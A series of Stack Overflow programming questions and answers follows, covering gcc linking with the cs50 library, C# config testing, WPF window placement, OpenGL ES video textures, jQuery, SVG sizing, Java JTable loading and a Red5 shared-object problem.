Q: gcc compiler error: "cannot find -lcs50 collect2: Id returned 1 exit status" I have a problem in 'c' language inside compiling with gcc. * *I am using "Cygwin" with (gcc-core, gcc-g++, gdb, make & other supportive packages) inside windows xp. *I installed "Cygwin" on this path "C:\Cygwin\". *My home directory: "C:\Cygwin\home\Bhanu Pratap" *I copied "cs50.h" and "cs50.c" inside my working directory which is also under "C:\Cygwin\home\Bhanu Pratap". This is code inside my hello.c file #include "cs50.h" #include <stdio.h> int main(void){ string name = "David"; printf("O hai, %s!\n", name); } This is command under bash (Cygwin) gcc -o hello hello.c -lc50 I get this error: /usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/id: cannot find -lcs50 collect2: Id returned 1 exit status Please help me where i am wrong? A: I'm also using the cs50 library file, and I've noticed in the code that you've used is : #include "cs50.h" #include <stdio.h> and also this command : gcc -o hello hello.c -lc50 just wondered why you used quotation marks, instead of '< >' and the last part of the command -lc50 we normally use it this way: #include <cs50.h> #include <stdio.h> and -lcs50 hope this helps \m/ A: To be able to use -lcs50, you'll first need to build that library (cs50) from its source code (cs50.c). Alternatively, you could simply: gcc -o hello hello.c cs50.c assuming cs50.c doesn't have other dependencies. A: I am using DJGPP (gcc) compiler in Windows XP for CS50 edX course. I have tried different solutions from answers, but none of them helped me (though Mat gave me a clue). Here is a solution: 1) copy cs50.h and cs50.c from library50-c-5.zip into a directory, where your .c source file, which you want to compile, is located. 2) type into your .c source file: #include "cs50.h" 3) compile your .c source file (at cmd.exe prompt, for example): gcc custom.c -o custom cs50.c You may copy cmd.exe from "`C:\WINDOWS\system32" folder into your working folder (with your .c files). In this case you don't have to change directory for navigating to your working files, when you start up command prompt window. A: See the link http://manual.cs50.net for relevant guidance about guidance about installing the cs50.h library. They have a precompiled version of the cs50 library that can be downloaded and installed. It is worth a try. They used gcc to compile the library, and they beginning to switch over to clang, which can also produce 64 bit compatible libraries, which is going to more useful in the future.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620479", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "-1" }
Q: Python get a "sub" 2d list from bigger 2d list? How would you get a 2d sublist from a bigger 2d list? gridx = 10 gridy = 16 grid = [[0]*gridx for i in range(gridy)] subgrid = None # I want to get a subgrid given an x,y grid origin (bottom-left) and x,y subgrid size A: If you want to slice your 2D list at the limits x1, y1, x2, y2 you can do: def getsubgrid(x1, y1, x2, y2, grid): return [item[x1:x2] for item in grid[y1:y2]] for example: grid = [[1, 2, 3, 4, 5, 6, 7, 8, 9], [11,12,13,14,15,16,17,18,19], [21,22,23,24,25,26,27,28,29], [31,32,33,34,35,36,37,38,39], [41,42,43,44,45,46,47,48,49], [51,52,53,54,55,56,57,58,59]] print getsubgrid(3,2,5,4,grid) #prints [[24, 25], [34, 35]] A: I assume your grid is stored in a list of lists? That is: primary list: [ * * * * * * ] second item: * * * * * * If so, your answer is a walk across these lists, from your start point, to your endpoint. sublist = [] for x in range(startx, endx): sublist.append(oldlist[x][starty:endy])
{ "language": "en", "url": "https://stackoverflow.com/questions/7620482", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Manipulating the app.config file for unit tests I have isolated the NUnit tests for my C# app in an assembly called Tests.dll. The associated configuration file is called Tests.dll.config. This is what Nunit uses rather than my app's actual config file. It looks like this (only showing a couple of config options there are lots more): <?xml version="1.0" encoding="utf-8"?> <configuration> <appSettings> <add key="useHostsFile" value="true" /> <add key="importFile" value="true" /> </appSettings> </configuration> To ensure my app is thoroughly tested, I will need to change config options between tests. After I have run a couple of tests, I would like to add some new config values to the file and have these used by subsequent tests. What code would I need to add do this? A: I recommend to implement a interface IConfig with properties useHostsFile and importFile. Then i would remove all direct dependecies to this file except in the Class ConfigDefault which implements IConfig. In this implementation you load your normal config file. For each test you can implement another Class which also inherits from IConfig. I suggest to use a Dependecy Injection. Ninject is free and easy to use. A: I use this code: [TestMethod] public void Test_general() { var cs = new ConnectionStringSettings(); cs.Name = "ConnectionStrings.Oracle"; cs.ConnectionString = "DATA SOURCE=xxx;PASSWORD=xxx;PERSIST SECURITY INFO=True;USER ID=xxx"; cs.ProviderName = "Oracle.DataAccess.Client"; var config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); //config.ConnectionStrings.ConnectionStrings.Clear(); config.ConnectionStrings.ConnectionStrings.Remove(cs.Name); config.ConnectionStrings.ConnectionStrings.Add(cs); config.Save(ConfigurationSaveMode.Modified); ConfigurationManager.RefreshSection("connectionStrings"); // your code for your test here } A: Here is my two cents to this challenge. Simply, create a new class AppSettings as an abstraction layer. Under normal operations it will simply read the settings from the application configuration file. But unit tests can override the settings on a per thread basis allowing for unit tests to execute in parallel with different settings. internal sealed class AppSettings { private static readonly AppSettings instance; private static ConcurrentDictionary<int, AppSettings> threadInstances; private string _setting1; private string _setting2; static AppSettings() { instance = new AppSettings(); } internal AppSettings(string setting1 = null, string setting2 = null) { _setting1 = setting1 != null ? setting1 : Properties.Settings.Default.Setting1; _setting2 = setting2 != null ? setting2 : Properties.Settings.Default.Setting2; } internal static AppSettings Instance { get { if (threadInstances != null) { AppSettings threadInstance; if (threadedInstances.TryGetValue(Thread.CurrentThread.ManagedThreadId, out threadInstance)) { return threadInstance; } } return instance; } set { if (threadInstances == null) { lock (instance) { if (threadInstances == null) { int numProcs = Environment.ProcessorCount; int concurrencyLevel = numProcs * 2; threadInstances = new ConcurrentDictionary<int, AppSettings>(concurrencyLevel, 5); } } } if (value != null) { threadInstances.AddOrUpdate(Thread.CurrentThread.ManagedThreadId, value, (key, oldValue) => value); } else { AppSettings threadInstance; threadInstances.TryRemove(Thread.CurrentThread.ManagedThreadId, out threadInstance); } } } internal static string Setting1 => Instance._setting1; internal static string Setting2 => Instance._setting2; } In the application code, access settings using the static properties: function void MyApplicationMethod() { string setting1 = AppSettings.Setting1; string setting2 = AppSettings.Setting2; } In unit tests, optionally override selected settings: [TestClass] public class MyUnitTest { [TestCleanup] public void CleanupTest() { // // Clear any app settings that were applied for the current test runner thread. // AppSettings.Instance = null; } [TestMethod] public void MyUnitMethod() { AppSettings.Instance = new AppSettings(setting1: "New settings value for current thread"); // Your test code goes here } } NOTE: As all methods of the AppSettings class are declared as internal it is necessary to make them visible to the unit test assembly using the attribute: [assembly: InternalsVisibleTo("<assembly name>, PublicKey=<public key>")] A: I had a case where my config readers were implemented using Lazy singleton pattern to read only once. Such that changing the app.config was not sufficient as the value was already read from the original configuration file. The singleton does not cross appdomain boundaries however, and you can specify the app.config for new app domains that you create. So I was able to test the Lazy singleton app settings with: var otherAppDomainSetup = new AppDomainSetup { ApplicationBase = AppDomain.CurrentDomain.BaseDirectory, DisallowBindingRedirects = false, DisallowCodeDownload = true, ConfigurationFile = Path.Combine(AppContext.BaseDirectory, "Artifacts\\Configs\\OtherApp.config") }; var otherAppDomain = AppDomain.CreateDomain(friendlyName: "Other", securityInfo: null, info: otherAppDomainSetup); otherAppDomain.DoCallBack(new CrossAppDomainDelegate(() => Assert.AreEqual(expected: ***, actual: ***static singleton call***))); AppDomain.Unload(otherAppDomain); For non-static calls see the example of using CreateInstanceAndUnwrap at https://learn.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.7.2
{ "language": "en", "url": "https://stackoverflow.com/questions/7620487", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "9" }
Q: How to set the location of WPF window to the bottom right corner of desktop? I want to show my window on top of the TaskBar's clock when the windows starts. How can I find the bottom right corner location of my desktop? I use this code that works well in windows forms app but does not work correctly in WPF: var desktopWorkingArea = System.Windows.Forms.Screen.PrimaryScreen.WorkingArea; this.Left = desktopWorkingArea.Right - this.Width; this.Top = desktopWorkingArea.Bottom - this.Height; A: You can use the window's SizeChanged event instead of Loaded if you want the window to stay in the corner when its size changes. This is especially handy if the window has Window.SizeToContent set to some value other than SizeToContent.Manual; in this case it will adjust to fit the content while staying in the corner. public MyWindow() { SizeChanged += (o, e) => { var r = SystemParameters.WorkArea; Left = r.Right - ActualWidth; Top = r.Bottom - ActualHeight; }; InitializeComponent(); } Note also that you should subtract ActualWidth and ActualHeight (instead of Width and Height as shown in some other replies) to handle more possible situations, for example switching between SizeToContent modes at runtime. A: My code: MainWindow.WindowStartupLocation = WindowStartupLocation.Manual; MainWindow.Loaded += (s, a) => { MainWindow.Height = SystemParameters.WorkArea.Height; MainWindow.Width = SystemParameters.WorkArea.Width; MainWindow.SetLeft(SystemParameters.WorkArea.Location.X); MainWindow.SetTop(SystemParameters.WorkArea.Location.Y); }; A: This code works for me in WPF both with Display 100% and 125% private void Window_Loaded(object sender, RoutedEventArgs e) { var desktopWorkingArea = System.Windows.SystemParameters.WorkArea; this.Left = desktopWorkingArea.Right - this.Width; this.Top = desktopWorkingArea.Bottom - this.Height; } In brief I use System.Windows.SystemParameters.WorkArea instead of System.Windows.Forms.Screen.PrimaryScreen.WorkingArea A: To access the desktop rectangle, you could use the Screen class - Screen.PrimaryScreen.WorkingArea property is the rectangle of your desktop. Your WPF window has Top and Left properties as well as Width and Height, so you could set those properties relative to the desktop location. A: I solved this problem with a new window containing a label named MessageDisplay. The code accompanying the window was as follows: public partial class StatusWindow : Window { static StatusWindow display; public StatusWindow() { InitializeComponent(); } static public void DisplayMessage( Window parent, string message ) { if ( display != null ) ClearMessage(); display = new StatusWindow(); display.Top = parent.Top + 100; display.Left = parent.Left + 10; display.MessageDisplay.Content = message; display.Show(); } static public void ClearMessage() { display.Close(); display = null; } } For my application, the setting of top and left puts this window below the menu on the main window (passed to DisplayMessage in the first parameter); A: This above solutions did not entirely work for my window - it was too low and the bottom part of the window was beneath the taskbar and below the desktop workspace. I needed to set the position after the window content had been rendered: private void Window_ContentRendered(object sender, EventArgs e) { var desktopWorkingArea = System.Windows.SystemParameters.WorkArea; this.Left = desktopWorkingArea.Right - this.Width - 5; this.Top = desktopWorkingArea.Bottom - this.Height - 5; } Also, part of the frame was out of view, so I had to adjust by 5. Not sure why this is needed in my situation. A: @Klaus78 's answer is correct. But since this is first thing google pops up and if working in environments where screen resolution can change often such that your app runs on virtual desktops or virtual servers and you still need it to update its placement when the screen resolution changes I have found linking to the SystemEvents.DisplaySettingsChanged event to be beneficial. Here is an example using rx and you can put this in your constructor for your view. Observable .FromEventPattern<EventHandler, EventArgs>(_ => SystemEvents.DisplaySettingsChanged += _, _ => SystemEvents.DisplaySettingsChanged -= _) .Select(_ => SystemParameters.WorkArea) .Do(_ => { Left = _.Right - Width; Top = _.Bottom - Height; }) .Subscribe();
{ "language": "en", "url": "https://stackoverflow.com/questions/7620488", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "61" }
Q: Playing video on iOS using OpenGL-ES I'm trying to play a video (MP4/H.263) on iOS, but getting really fuzzy results. Here's the code to initialize the asset reading: mTextureHandle = [self createTexture:CGSizeMake(400,400)]; NSURL * url = [NSURL fileURLWithPath:file]; mAsset = [[AVURLAsset alloc] initWithURL:url options:NULL]; NSArray * tracks = [mAsset tracksWithMediaType:AVMediaTypeVideo]; mTrack = [tracks objectAtIndex:0]; NSLog(@"Tracks: %i", [tracks count]); NSString* key = (NSString*)kCVPixelBufferPixelFormatTypeKey; NSNumber* value = [NSNumber numberWithUnsignedInt:kCVPixelFormatType_32BGRA]; NSDictionary * settings = [[NSDictionary alloc] initWithObjectsAndKeys:value, key, nil]; mOutput = [[AVAssetReaderTrackOutput alloc] initWithTrack:mTrack outputSettings:settings]; mReader = [[AVAssetReader alloc] initWithAsset:mAsset error:nil]; [mReader addOutput:mOutput]; So much for the reader init, now the actual texturing: CMSampleBufferRef sampleBuffer = [mOutput copyNextSampleBuffer]; CVImageBufferRef pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer); CVPixelBufferLockBaseAddress( pixelBuffer, 0 ); glBindTexture(GL_TEXTURE_2D, mTextureHandle); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 600, 400, 0, GL_BGRA_EXT, GL_UNSIGNED_BYTE, CVPixelBufferGetBaseAddress( pixelBuffer )); CVPixelBufferUnlockBaseAddress( pixelBuffer, 0 ); CFRelease(sampleBuffer); Everything works well ... except the rendered image looks like this; sliced and skewed? I've even tried looking into AVAssetTrack's preferred transformation matrix, to no avail, since it always returns CGAffineTransformIdentity. Side-note: If I switch the source to camera, the image gets rendered fine. Am I missing some decompression step? Shouldn't that be handled by the asset reader? Thanks! Code: https://github.com/shaded-enmity/objcpp-opengl-video A: I think the CMSampleBuffer uses a padding for performance reason, so you need to have the right width for the texture. Try to set width of the texture with : CVPixelBufferGetBytesPerRow(pixelBuffer) / 4 (if your video format uses 4 bytes per pixel, change if other)
{ "language": "en", "url": "https://stackoverflow.com/questions/7620490", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "7" }
Q: How to get data in MySQL table into Java JTable? I'm working on Java project, and I need to load a particular set of data in to JTable. Can someone explain to me how to do this? These are my fields in the "mrnform" table in database called "order_processing". `Date` varchar(10) NOT NULL, `RegNo` int(11) NOT NULL, `Description` varchar(50) NOT NULL, `ItemNo` int(11) NOT NULL, `Unit` varchar(10) NOT NULL, `Quantity` int(11) NOT NULL, `Delivery_Date` varchar(10) NOT NULL, `Delivery_Address` varchar(10) NOT NULL, `Site_Name` varchar(30) NOT NULL, A: 1) construct JDBC Connection for MySql, examples here 2) load data to the JTable by using TableModel, examples here 3) if you'll reall question, post this question here in sscce from A: Pseudo code * *Design the TableModel (or Vector) *Establish the db connection and retrieve result. *Store database result into TableModel object. *Construct the JTable(tableModel). A: Read the manual for the JTable: http://download.oracle.com/javase/tutorial/uiswing/components/table.html A: visit http://netshor.blog.com/2013/12/31/how-to-get-data-from-mysql-to-jtable/ '//initialize row of jTable int row=0; //start try-catch try{ //create connection with database //execute query //no start loop while(rs.next()){jTable1.setValueAt(rs.getString(1), row, 0); jTable1.setValueAt(rs.getString(2), row, 1); jTable1.setValueAt(rs.getString(3), row, 2); jTable1.setValueAt(rs.getString(4), row, 3); jTable1.setValueAt(rs.getString(5), row, 4); jTable1.setValueAt(rs.getString(6), row, 5); jTable1.setValueAt(rs.getString(7), row, 6); //increament in row of jtable. row++; } } catch(Exception e) { }'
{ "language": "en", "url": "https://stackoverflow.com/questions/7620492", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "4" }
Q: Creating elements with jquery .click I'm currently working on a small "dress-up" type feature for a friend's website, but have run into a logic issue. The items that you may use to dress your avatar must be bought. Bought items are loaded on screen for users to click (as an image) and when clicked should create a jqueryui draggable inside a div. The problem I've run into, is I can't figure out how to make it create that exact image inside the div. I guess what I'm looking for is a way to recreate the image clicked inside the div as a draggable. Anyone have suggestions? A: Pseudo-code: image.click(function() { div.append($(this).clone()); });
{ "language": "en", "url": "https://stackoverflow.com/questions/7620495", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Funny font in the build messages in Codeblocks using g++-4 (Cygwin) as compiler I am using CodeBlocks 10.05 with Cygwin 1.7 to compile some C++ codes. The operating system is WinXP SP3. The compiler used is g++ 4.5.3. When I build the following program: #include <stdio.h> #include <stdlib.h> using namespace std; int main() { unsigned long long a = 12345678901234; printf("%u\n",a); return 0; } it outputs the following in the build log: C:\Documents and Settings\Zhi Ping\Desktop\UVa\143\main.cpp||In function ‘int main()’:| C:\Documents and Settings\Zhi Ping\Desktop\UVa\143\main.cpp|9|warning: format ‘%u’ expects type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’| C:\Documents and Settings\Zhi Ping\Desktop\UVa\143\main.cpp|9|warning: format ‘%u’ expects type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’| ||=== Build finished: 0 errors, 2 warnings ===| I do not know why CodeBlocks prints the ‘ etc. symbols. Is there a way for CodeBlocks to properly display the characters? A: Cygwin defaults to the UTF-8 encoding, whereas it looks like CodeBlocks assumes that output is in CP1252. Furthermore, since Cygwin tells it that UTF-8 is available, gcc uses separate left and right versions of quote characters instead of the usual ASCII ones. The result is what you're seeing. There are two ways to tackle this: either tell CodeBlocks to use UTF-8, or tell gcc to stick to ASCII by setting LANG=C. I don't know how to do either of these in CodeBlocks though. A: Add the following Environment Variable to your computer: LANG=C In Windows 7, you can add it by going to Computer > Properties > Advanced System Settings > Environment Variables, then "New...". The menus should be similar in Windows XP. I hope it's ok to answer an old question. This happened to me today as well, and it took me a while to fix it.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620496", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: Windows Phone 7 DownloadStringCompleted and what was the url? Or params? private void button7_Click(object sender, RoutedEventArgs e) { WebClient client = new WebClient(); client.DownloadStringCompleted += new DownloadStringCompletedEventHandler(client_DownloadStringCompleted); client.DownloadStringAsync(new Uri("http://asd.com/bb")); } void client_DownloadStringCompleted(object sender, DownloadStringCompletedEventArgs e) { if (e.Error == null) { MessageBox.Show(e.Result); } else { MessageBox.Show("err: " + e.Error.ToString()); } } how can i get the url from DownloadStringCompleted? Or how Can i pass some parameter to my DownloadStringCompleted? Help please A: You can pass any object through the second parameter of DownloadStringAsync. Then you can retrieve that object through DownloadStringCompletedEventArgs.UserState. private void button7_Click(object sender, RoutedEventArgs e) { WebClient client = new WebClient(); client.DownloadStringCompleted += new DownloadStringCompletedEventHandler(client_DownloadStringCompleted); var uri = new Uri("http://asd.com/bb"); client.DownloadStringAsync(uri, uri); } void client_DownloadStringCompleted(object sender, DownloadStringCompletedEventArgs e) { var uri = e.UserState as Uri; //... }
{ "language": "en", "url": "https://stackoverflow.com/questions/7620497", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: Fixing non-displayed headerlinks I have the following page I'm working on: http://69.134.44.19:8000/products.html?v=products In Google Chrome and Firefox, it displays correctly, in IE, however, all the links are pushed down under the logo. It also (I now realize) isn't using my :hover thing in my css for all of my product elements on the pages. It also isn't aligning things correctly on this page: http://69.134.44.19:8000/cprod.html?cat=Doughnuts&subp=Zebra%20Doughnut&cst=2&hash=95f9aa9f327881e9ce3eae56af43da3c Any ideas of how I can fix this? Why is IE such an outlier? Why can't it just follow rules? Are there any tools online to make my site cross browser safe? A: Wow, the answer was quite simple. After some google searches, I came across this: http://friendlybit.com/css/cross-browser-strategies-for-css/ At the top of all of my pages, I have a comment containing contact information and copyright info. Apparently, when IE goes to read the page, it doesn't find the Doctype because it isn't in the right location so IE initiates Quirk Mode. Moving the Doctype deceleration to the top of all the pages (above my comment) fixed the problem completely!
{ "language": "en", "url": "https://stackoverflow.com/questions/7620500", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Same domain JQuery $.ajax sending OPTIONS as REQUEST_METHOD My problem is very similar to this one but I don't see why my requests would be cross-domain. Here is what I get with firebug: All domains are the same, I don't understand why Firefox and IE have this behaviour. You can test here, just click on one of the three main links to send a request. Thanks in advance! A: It's not just about the domain name. The protocol (http vs. https) has to be the same, the entire host name has to be the same, and the port has to be the same. Some of your links are to "www.tronatic-production.com", but the page loads with just "tronatic-production.com". Here is a presentation from noted JavaScript expert and hipster extraordinaire Alex Sexton about the Same Origin Policy and ways to deal with it. edit The reason that your links have "www" prepended is that you've got a <base> tag in your header that's telling the browser to do exactly that.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620501", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: How does one get the height/width of an SVG group element? I need to know the width and height of a SVG element? Im trying to use the following: $('g#myGroup').height() ...but the result is always zero? A: svg <g> elements don't have explicit height and width attributes, they auto size to whatever they contain. You can get their actual height/width by calling getBBox on the element though: var height = document.getElementById("myGroup").getBBox().height; If you're really into jquery you could write it as $('g#myGroup').get(0).getBBox().height; according to Reed Spool A: I wasn't able to get any of the answers above to work, but did come across this solution for finding it with d3: var height = d3.select('#myGroup').select('svg').node().getBBox().height; var width = d3.select('#myGroup').select('svg').node().getBBox().width; getBBox() here will find the actual width and height of the group element. Easy as that. A: Based on the above answer, you can create jQuery functions .widthSVG() and .heightSVG() /* * .widthSVG(className) * Get the current computed width for the first element in the set of matched SVG elements. */ $.fn.widthSVG = function(){ return ($(this).get(0)) ? $(this).get(0).getBBox().width : null; }; /* * .heightSVG(className) * Get the current computed height for the first element in the set of matched SVG elements. */ $.fn.heightSVG = function(){ return ($(this).get(0)) ? $(this).get(0).getBBox().height : null; };
{ "language": "en", "url": "https://stackoverflow.com/questions/7620509", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "24" }
Q: Rotating images generically So this is working well for me so far but I do not want to make a new method for every image on the page. How do I get the control "Card" in the codebehind method when it is called so I can use the same method on every image button. Is there a better way to do this? All I want is to rotate an image 90 deg when clicked and, when clicked again rotate the image back. The problem is that I want to use only one method that will rotate any image. protected void Card_Click(object sender, ImageClickEventArgs e) { if (Card.CssClass == "rotate90Large") { Card.CssClass = ""; } else { Card.CssClass = "rotate90Large"; } } .aspx <style type="text/css"> .rotate90Large{-ms-transform: rotate(90deg); margin-left:45px; } </style> <asp:ImageButton ID="Card" ImageUrl="Graphics/image.jpg" runat="server" onclick="Card_Click" /> A: Casting the sender should be sufficient, and you can subscribe all image buttons to the same click event, in your case Card_Click protected void Card_Click(object sender, ImageClickEventArgs e) { ImageButton img = (ImageButton)sender; if (img.CssClass == "rotate90Large") { img.CssClass = ""; } else { img.CssClass = "rotate90Large"; } } A: So write a function that takes an image as parameter, rotates it and returns it as the return value.... ?? Then call that function passing whichever image you want to rotate. Perhaps even create it as an extension method
{ "language": "en", "url": "https://stackoverflow.com/questions/7620513", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Extending an Entity, error on ReportPropertyChanged I am trying to find out how to extend an Entity by adding a property based on calculations. In the example below I created a MyProperty property that I attribute to the current number of seconds (as an example). However when I try to trigger "ReportPropertyChanged" to raise the envent notification I get an error. public partial class MyEntity { public double MyCustomizedProperty { get; set; } public MyEntity() { this.PropertyChanged += Entity_PropertyChanged; } void Entity_PropertyChanged(object sender, PropertyChangedEventArgs e) { switch (e.PropertyName ) { case "Date": MyCustomizedProperty = DateTime.Now.Second; ReportPropertyChanged("MyCustomizedProperty"); break; } } } That compiles and all, but when I change "Date" I get a runtime error : The property 'MyCustomizedProperty' does not have a valid entity mapping on the entity object. For more information, see the Entity Framework documentation. I suppose this is due to the fact that the property is not in the OnStateManager. Can you please let me know how to fix that ? Thanks A: You could try to implement the INotifyPropertyChanged interface and use it's event to report the Property Change. Try to use this in your partial class: public event PropertyChangedEventHandler NewPropertyChanged; private void NotifyPropertyChanged(String propertyName) { PropertyChangedEventHandler handler = NewPropertyChanged; if (null != handler) { handler(this, new PropertyChangedEventArgs(propertyName)); } } And in your property change call it with the properties name NotifyPropertyChanged("YourPropertiesName");
{ "language": "en", "url": "https://stackoverflow.com/questions/7620515", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: PHP classes used within classes? I understand that $something->function(); is calling a function within a class but what does $something->somethingelse->function(); mean? A: I assume you mean $something->somethingelse->function(). It means that a property of $something named $somethingelse is another object that has the method function(). $something = new Class1(); $something->somethingelse = new Class2(); // Class2 has the "function()" method // Now I can call... $something->somethingelse->function(); A: you can say it like this: class foo { public $bar; } class bar { public $baz; } class baz { function blip() { echo "Hello World"; } } $foo = new foo(); $foo->bar = new bar(); // setting bar to new object $foo->bar->baz = new baz(); // setting baz to new object $foo->bar->baz->blip(); // calling the blip function A: The class of the instance $something contains an instance variable called $somethingelse which is also an object (instance of a class). It's considered a bad practice (see Law of Demeter on Wikipedia). A nice explanation of the Law of Demeter is on c2.com of Peter Van Rooijen is: You can play with yourself. You can play with your own toys (but you can't take them apart), You can play with toys that were given to you. And you can play with toys you've made yourself. That is in plain English: Your method can call other methods in its class directly Your method can call methods on its own fields directly (but not on the fields' fields) When your method takes parameters, your method can call methods on those parameters directly. When your method creates local objects, that method can call methods on the local objects. BUT One should not call methods on a global object One should not have a chain of messages a.getB().getC().doSomething() in some class other than a's class. Another interesting read is Law of Demeter Revisited for a less strict approach.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620516", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Using strings in a switch case for a menu? I'm making an app for a forum currently, and I'm adding a favorites section where you can add your favorite sections for quick access. I have a menu set up that has a list of the different sections, so what I did was make a switch case to decide what to do when a certain menu item is pressed, in this case the section. Through doing this I learned that you can't use strings with a switch case, so my question is how could I decifer which button was pressed and do an action according to which one was pressed? This is my code for the menu: public class Menu extends ListActivity{ String[] classes = {"Home", "Gaming", "Microsoft Consoles", "Sony Consoles", "Other Platforms", "Tech Center", "General"}; @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); setListAdapter(new ArrayAdapter<String>(Menu.this, android.R.layout.simple_list_item_1, classes)); } @Override protected void onListItemClick(ListView l, View v, int position, long id) { // TODO Auto-generated method stub super.onListItemClick(l, v, position, id); switch (classes) { case "Home": break; case "Gaming".hashCode(): break; } } } I get an error because classes is a String[], and I can't use that with a switch case, so is there a way to do that, or an alternative? A: Strings in switch statements were added in Java 7. For an example, take a look here. Since Android development isn't currently based on Java 7 syntax, you'll have to go the alternate route. And that means: if-else statements. They aren't the prettiest, but they'll get the job done. A: Here's a nice and clean workaround: public enum Classes { HOME("Home"), GAMING("Gaming"), ... MICROSOFT_CONSOLES("Microsoft Consoles"); private final String name; Classes(String name) { this.name = name; } @Override public String toString() { return name; } } You can switch an enum and use it that way in your adapter: new ArrayAdapter<String>(Menu.this, android.R.layout.simple_list_item_1, Classes.values()) Update The only problem is that those strings are hard-coded. To workaround that fact I would recommend to implement a static Application context helper and implement the enum like this (it's an idea, I didn't try that, but it should work): public enum Classes { HOME(R.string.home), GAMING(R.string.gaming), ... MICROSOFT_CONSOLES(R.string.microsoft_consoles); private final int name; Classes(int name) { this.name = name; } @Override public String toString() { return App.getContext().getString(name); } } A: Better solution: One enum Class: public enum Tabs { Home, Gaming, Microsoft_Consoles, Sony_Consoles, Other_Platforms, Tech_Center, General } In the another class: switch (classes) { case Home: break; ... } @override the toString() class of the enum Tabs to do it nice .
{ "language": "en", "url": "https://stackoverflow.com/questions/7620517", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: How do I get my a tag background to sit on top of my div background? Newb question. I'm trying to use z-index, but it doesn't seem to be working the way I would expect. Here's my code: <a id="favoritelink" href="#" style="margin-left: 600px" class="addtofavorites" title="Add to Favorites"></a> <div class="description" style="margin-top: -18px"> Some description </div> In css, I have specified a z-index for .description as 1 and for .addtofavorites as 10. #favoritelink has a background image and text that is shifted way off the page (it is essentially an image link). The background of .description still sits on top of the background for .addtofavorites. I want the .addtofavorites background to be on top. Here's the css for .addtofavorites and for .description: .description { background:#efefef; width:600px; max-height:500px; padding:12px; z-index:1; } .addtofavorites { background:url(img/plus.png) no-repeat center; background-size:75%; display:block; text-indent:-9999px; width:51px; height:56px; margin-right:6px; z-index:10; } A: You have to use position: relative or position: absolute for z-index to work. Edit: http://jsfiddle.net/GndRj/4/ Based on your code, but added position: relative and reduced margin-left on .favoritelink so that it shows up in the preview window.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620518", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Bind array of classes using jQuery Is it possible to simplify the following jQuery using a for loop? $("#nav li a.h").mouseover( function () { if($(".content.h").is(":hidden")) { $(".content.h").fadeIn('fast'); } } ); $("#nav li a.e").mouseover( function () { if($(".content.e").is(":hidden")) { $(".content.e").fadeIn('fast'); } } ); $("#nav li a.o").mouseover( function () { if($(".content.o").is(":hidden")) { $(".content.o").fadeIn('fast'); } } ); I tried this, but no luck: var pg = ["h","e","o"]; for (var i = 0; i < pg.length; i++) { $("#nav li a.pg[i]").mouseover( function () { if($(".content.pg[i]").is(":hidden")) { $(".content.pg[i]").fadeIn('fast'); } } ); } A: pg[i] inside quotes will not work as a variable, you need to append it to the selector string using +. More optimizations: The $.each method is fast and good to use when looping, and you don’t need to check if elem.is(':hidden'), just include :hidden in the selector: $.each(["h","e","o"], function(i, id) { $("#nav li a."+id).mouseover(function() { $(".content."+id+":hidden").fadeIn('fast'); }); }); A: Don't add pg[i] to the string, because it won't be interpreted as JavaScript variables. Instead, use this: var pg = ["h", "e", "o"] for(var i=0; i<pg.length; i++){ (function(current){ $("#nav li a."+current).mouseover( function () { if($(".content."+current).is(":hidden")) { $(".content."+current).fadeIn('fast'); } } ); })(pg[i]) }
{ "language": "en", "url": "https://stackoverflow.com/questions/7620520", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: rso between flex and red5. I can create but cant read so im still stuck on this that i can create remote shared object but cant read while im notified about changes. im using trunk version of red5, and flex 4.0 with flash builder. in debug i can see that changeLog has name of the changed value of rso, but object itself has undefined value. Currently im working on local windows machine, but tried everything on ubuntu server 10.04 and got the same results. i can connect to the room, create a shared object and all client are notified about that, but only the user who changed the value of rso can read the value that one time, other just get undefined value. Does anybody has any experience with this issue? I would really appreciate any help, because this is just driving me crazy, im for about three weeks, read all tutorials about rso and cant get any solution. I tried with persistent and non-persistent, initiated by server and by client, but all the time get the same results. there is my code on the client side: protected function application1_creationCompleteHandler(event:FlexEvent):void { var room_id:Number = vars("room"); connection = new NetConnection(); connection.connect("rtmp://127.0.0.1/video/" + room_id); connection.addEventListener(NetStatusEvent.NET_STATUS, onConnected); connection.client = this; } private function onConnected(event:NetStatusEvent) : void { if(event.info.code == "NetConnection.Connect.Success") { so = SharedObject.getRemote("video", connection.uri, true); 